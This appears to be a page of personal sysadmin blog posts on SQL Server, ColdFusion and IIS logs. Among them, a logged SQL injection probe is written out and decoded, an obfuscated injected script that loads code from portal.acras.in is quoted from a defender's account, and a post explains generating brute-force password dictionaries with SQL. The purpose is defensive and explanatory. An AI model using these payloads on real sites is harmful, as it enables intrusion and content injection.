Preplog Revised - Prepare your IIS logs for SQL Bulk Insert

While searching for a solution for easily importing IIS logs into SQL Server for some quick analysis, I came across a helpful program from Microsoft in the Knowledge Base called Preplog, C++ source code included! (http://support.microsoft.com/kb/296093) This little guy did just the trick...for awhile anyway. I quickly found that it would crash when processing certain logs so I checked out the source and found the problem. Hint: Take a close look at lines 7 and 20.

view plain print about
1#include <stdio.h>
2#include <string.h>
3
4int main(int argc, char **argsch)
5{
6 FILE *stream;
7 char line[1000];
8 int ch;
9
10 if(argc < 2)
11 {
12     printf("Usage: preplog.exe <weblog>\n");
13     printf("\nThe output will go to stdout, so use > filename to direct to an output file\n");
14     return -1;
15    }//if
16
17
18 if( (stream = fopen( argsch[1], "r" )) != NULL )
19 {
20        while(fgets(line,10000,stream) != NULL)
21        {
22         if(ch = strncmp(line,"#",1) !=0)
23         {
24 printf( "%s", line);
25         }//if
26        }//while
27 fclose( stream );
28     return 0;
29 }//if
30 else
31 {
32     printf("Could not open %s. Please ensure that the path and filename are correct.\n",argsch[1]);
33     return -1;
34 }//else
35}//main

The character array "line" is only 1000 bytes in length, while fgets() is being set to retrieve 10,000 bytes. this works as long as the line being fetched is less than or equal to 1000 bytes.

The fix? change the declaration of line from 1000 to 10000 and you're good to go!

view plain print about
1#include <stdio.h>
2#include <string.h>
3
4int main(int argc, char **argsch)
5{
6 FILE *stream;
7 char line[10000];
8 int ch;
9
10 if(argc < 2)
11 {
12     printf("Usage: preplog.exe <weblog>\n");
13     printf("\nThe output will go to stdout, so use > filename to direct to an output file\n");
14     return -1;
15    }//if
16
17
18 if( (stream = fopen( argsch[1], "r" )) != NULL )
19 {
20        while(fgets(line,10000,stream) != NULL)
21        {
22         if(ch = strncmp(line,"#",1) !=0)
23         {
24 printf( "%s", line);
25         }//if
26        }//while
27 fclose( stream );
28     return 0;
29 }//if
30 else
31 {
32     printf("Could not open %s. Please ensure that the path and filename are correct.\n",argsch[1]);
33     return -1;
34 }//else
35}//main

Of course you can always configure IIS ODBC logging and not have to deal with logs like this :)

Latest garbage "CONCAT(0x5F5F7A666A70687073716C5F5F..."

I saw this come through one of our servers this weekend and found it somewhat curious. Of course none of the attempts actually succeeded :)

view plain print about
1and 1=2 union select CONCAT(0x5F5F7A666A70687073716C5F5F,1,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,2,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,3,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,4,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,5,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,6,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,7,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,8,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,9,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,10,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,11,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,12,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,13,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,14,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,15,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,16,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,17,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,18,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,19,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,20,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,21,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,22,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,23,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,24,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,25,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,26,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,27,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,28,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,29,0x5F5F7A666A70687073716C5F5F) and ''='

The recurring item here is:

CONCAT(0x5F5F7A666A70687073716C5F5F,1,0x5F5F7A666A70687073716C5F5F)

going further we have:

0x5F5F7A666A70687073716C5F5F

that decodes to

__zfjphpsql__

CONCAT(__zfjphpsql__,1,__zfjphpsql__)

SQL - The package path referenced an object that cannot be found

What do you do when you see this error in SQL Server 2005?

Look further down the error message and you may notice something like this... "Could not set \Package\Job.Disable value to false"

This is usually caused by the dynamic linked library (dll) dts.dll becoming unregistered. Whether due to an in-place upgrade or service pack install, even some hot fixes may cause this. Never fear though - crack open a DOS prompt or Start->Run and issue the following command

regsvr32 dts.dll

You should receive a message from the OS stating that the dll was successfully registered. Try to run your job again and you should find that it runs this time.

Coldfusion 9 and Empty result set queries - Part 2

Progress!

I must say I'm a bit perturbed by what I found in researching this problem. I also need to make a clarification in my test code, I over simplified the simple query. If you were to run that query, after setting up the table, you would find that it does indeed work and you'd be saying "that guy's crazy, it works fine!" The problem comes in when records are eliminated due to aggregation, GROUP BY and such.

The following two links will be of help.

Adobe forum where it's being discussed:
http://forums.adobe.com/message/2631903

More importantly, the bug tracker entry.
http://cfbugs.adobe.com/cfbugreport/flexbugui/cfbugtracker/main.html#bugId=80384

Notice how they list this as a BENIGN problem and that there is a work around. Benign my ass! I urge everyone to go to the bug tracker and VOTE for this to be fixed.

So, for the work around? One acceptable temporary (IMO) solution is to set up a JDBC DSN to connect to your SQL Server database. In my case I needed a 2008 JDBC driver.

This brings me to another sore point with information on the internet. Far too often I've seen "helpful" people post solutions to problems only to gloss over 90% of the information used to FIX it. Not everyone is born with the knowledge to construct a JDBC connection string, or the ability to pull a driver class out of their ass. So here's my contribution to the half-assed help pile.

This will help those using Coldfusion 9.0

Microsoft JDBC 2.0 and 3.0 driver links.

MS JDBC 3.0 http://www.microsoft.com/downloads/details.aspx?FamilyID=%20a737000d-68d0-4531-b65d-da0f2a735707&displaylang=en#filelist
MS JDBC 2.0 http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=99b21b65-e98f-4a61-b811-19912601fdc9&displayLang=en

  1. Download one of those two, which ever you want. I'm using 3.0
  2. Extract to a directory, any will do we're going to move the files when we're done anyway
  3. Now, if you're using 3.0 you will find, buried in the directory structure that just extracted, two files
    • sqljdbc.jar
    • sqljdbc4.jar
    Only use ONE of these, for CF 9 you will want to use sqljdbc4.jar
  4. Copy the sqljdbc4.jar to
    • cf_root/cfusion/lib (server configuration)
    • cf_webapp_root/WEB-INF/cfusion/lib (multiserver or J2EE configuration).
    I'm using Multiserver for this example so I put it in
    • "Z:\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\"
  5. RESTART COLDFUSION

Now, you will need to log in to the CF Administrator and create a new datasource.

  1. Give it a name,
  2. and then select "OTHER" from the drop down list
  3. and click ADD
  4. Now for a JDBC URL, if you're super leet you don't need me to tell you, but for those "lamers" out there here's the JDBC URL that should get you by.
    jdbc:sqlserver://server name;databaseName=database name
    If you happen to be running multiple instances of SQL Server or are on a different port then this should work for you
    jdbc:sqlserver://server name/instance name:port number;databaseName=database name
  5. Driver Class will be
    com.microsoft.sqlserver.jdbc.SQLServerDriver
  6. Driver Name (you can name it whatever you want) SQL Server 2008 JDBC
  7. Username: database user name
  8. Password: database user password

The driver works great so far. If I run into any idiosyncrasies I'll post about it!

Coldfusion 9 and Empty result set queries

I've run into an interesting problem on one of our CF 9 servers. Here's the skinny, there's some code that looks like

view plain print about
1<cfquery name="qryInfo" datasource="myDB">
2 SELECT name
3 FROM actors
4 WHERE id = <cfqueryparam value="#arguments.actorID#" cfsqltype="cf_sql_integer" />
5</cfquery>
6
7<cfif qryInfo.recordCount>
8
9<!--- do something here --->
10
11...
12
13...
14
15</cfif>

Now this is obviously a much more simplified (not to mention completely different data/tables/etc from what the real system is doing) this is just an example.

This code works as you would expect, the query executes and returns some data, the IF block does its thing and all is well, right? Unless the query doesn't return anything. Now in past versions of CF this has never been a problem, an empty query object is returned and again, all is well.

The problem I've encountered on one of our CF 9 servers is this: If the query returns nothing, the IF block fails stating that recordcount is undefined in qryInfo. If I dump qryInfo, the same error: "qryInfo is undefined"

I created some test code and placed it on another CF 9 server in the center and it works as expected, no error, just an empty query object. How bizarre I say! The only difference I've been able to see is that one box (the one that flips out) is 64 bit, and the other (the one that plays nice) is 32 bit.

This warrants further testing and investigation. I'll keep you posted.

UPDATE:
Tested on another CF 9 x64 server and it works just fine. Maybe the install is borked?

Terabase!

Ok, so maybe I'm obsessing a bit but I just couldn't help myself. I have created a... 1TB (yes that's terabyte) database on my home PC. Not only is the database itself 1TB but there is also a 500GB log file and 500GB tempdb (all pre-grown) to total 2TB of database goodness.

Now, why the madness you ask?

If you read the two previous posts, those probably have something to do with it. You see my web server ran out of space trying to do this little exercise so I had to change venue. To date I have generated permutations of strings from 1 to 6 characters in length to total a a staggering

2,238,976,116 rows of data. (yes that's billion with a B)

How long does a query take to execute? Oh, just a few milliseconds. The first query against the data took about 23 seconds, not bad considering this is on what is classified as a "home PC" sporting a quad core 2.8GHz processor with 8GB of RAM and a 7TB RAID 5 on 6 disks. After the query plan is cached, it takes merely the blink of an eye to return a word from the dictionary.

To populate this table took an ever increasing amount of time. The first strings of length 1 to 4 took from only a blink to just under 30 seconds. 5 characters took just over 9 minutes with 6 characters pushing 13 hours.

What's next? Why 7 character strings of course, that will put this at over 70 billion rows and pushing 600GB of data space.

Dictionaries Continued...

One word of caution, if you decide to actually generate a dictionary, you will need loads of disk space. Let's do some math!

In order to calculate the number of permutations you need the follow information:

  1. How large is your base set (alphabet in our case) for this example that I've laid out that number would be 36, 26 letters and 10 numbers
  2. How long is the string you are constructing?

Knowing this information, we can plug this into the formula nr where n = base set size and r = length of string to construct. You can see how this can get out of control quite quickly :)

Here is a list containing the number of permutations for a given string length from 1 to 10

  1. 36
  2. 1296
  3. 46656
  4. 1679616
  5. 60466176
  6. 2176782336
  7. 78364164096
  8. 2821109907456
  9. 101559956668416
  10. 3.65615844006298e+15 (big damn number)

Let's take this a step further. If we are going to store the permutations we need to know how much disk space we're going to need. In order to get a rough estimate let's assume we are going to store this as non-unicode data so 1 byte per character. That would give a result of 548,549,148,672 bytes (548 GB) to store all of the permutations of a 7 character string! How much for 10 you say?

3.65615844006298e+15 * 10 = 3.65615844006298e+16 bytes so that gives us 36.5 Petabytes :)

This brings us to the question, how long of a password is good enough to escape most brute force attacks? It depends on who your attacker is, but if you look at the data it would take quite awhile to produce let alone process a list of passwords longer than 6 characters. Keep in mind however that most dictionaries are just that, dictionaries containing all words in a given language so don't choose something that's in one! ever! and you might just be ok, then again...maybe not :)

So you say you want a Brute Force Dictionary?

Look no further than your very own DBMS. Utilizing some basic sets we can have the DBMS produce anything we ask. For this example I have created two tables as follows.

view plain print about
1CREATE TABLE [dbo].[alphabet](
2    [letter] [char](1) NOT NULL,
3 CONSTRAINT [PK_alphabet] PRIMARY KEY CLUSTERED
4(
5    [letter] ASC)
6)

This table shall hold our alphabet (in case that wasn't totally obvious) I will be using A-Z and 0-9 as my alphabet.

view plain print about
1CREATE TABLE [dbo].[dictionary](
2    [word] [varchar](50) NOT NULL,
3 CONSTRAINT [PK_dictionary] PRIMARY KEY CLUSTERED
4([word] ASC)
5)

and this table shall be our permanent storage of our generated dictionary.

That's all you need, right there, yep...that's it. OK OK I'll write the query for you too.

view plain print about
1SELECT
2 a.letter + b.letter + c.letter + d.letter + e.letter + f.letter + g.letter as word
3FROM
4 alphabet as a,
5 alphabet as b,
6 alphabet as c

Execute that query and wait a few seconds and you will then have a complete list of every 3 alphanumeric character combination. Pretty neat eh?

portal.acras.in - garbage sucking lame ass bitches

Today was...invigorating... to say the least at my day job. We maintain a rather large code base for a client of ours that contained some older code in its deepest darkest nether-regions that allowed for some SQL injection to take place. Although I know I was likely fighting against some junk ass bot, it felt like my opponent was flesh and blood.

Here's how it went down:

BOT: Injects silly script tag

view plain print about
1<script>my lame ass portal full of shit</script>

or...
view plain print about
1<script>
2 var news="b20b3cb73b63b72b69b70b74b20b73b72b63b3db22b68b74b74b70b3ab2fb2fb70b6fb72b74b61b6cb2eb61b63b72b61b73b2eb69b6eb2fb6db6cb2eb70b68b70b22b3eb3cb2fb73b63b72b69b70b74b3e";
3 docs = news.replace(/b/g,'%');
4document.write(that var named docs that I'm not actually going to put in here...);
5 </script>

ME: finds no trace in CF error logs and sets up a kill script in SQL to remove junk, continues to look for the entry point.
BOT: Injects more crap. This time changing the script's contents.
ME: creates a trigger on the targeted table to remove on update/insert - suck a fat one. continues to look for entry point.
BOT: ...
BOT: ...
BOT: ...
BOT: modifies script tags just enough to bypass trigger checks.
ME: hm, how clever you piece of junk.
ME: locks down the site's datasource to read only and proceeds to setup read and read/write dsns, some regex find and replace goodness and...once again...suck it!

I do enjoy a good duel from time to time, but not when I've got shit to do. So, whoever you are "portal.acras.in" nice try, but not good enough. DIAF KKTHXBYE.

lolsql...yes indeed

excerpt from the site...

view plain print about
1HAI!
2I'M IN UR `table`
3PLZ MAKES `column` LIEKS `value`
4I CAN HAZ `column` NO WAI LIEK `value`
5KTHNXBYE

http://www.aaronbassett.com/2009/i-can-haz-lolsql/

there's even a parser...yeah, wow...

http://github.com/jnthn/lolsql/blob/master/icanhazsql.p6

More Entries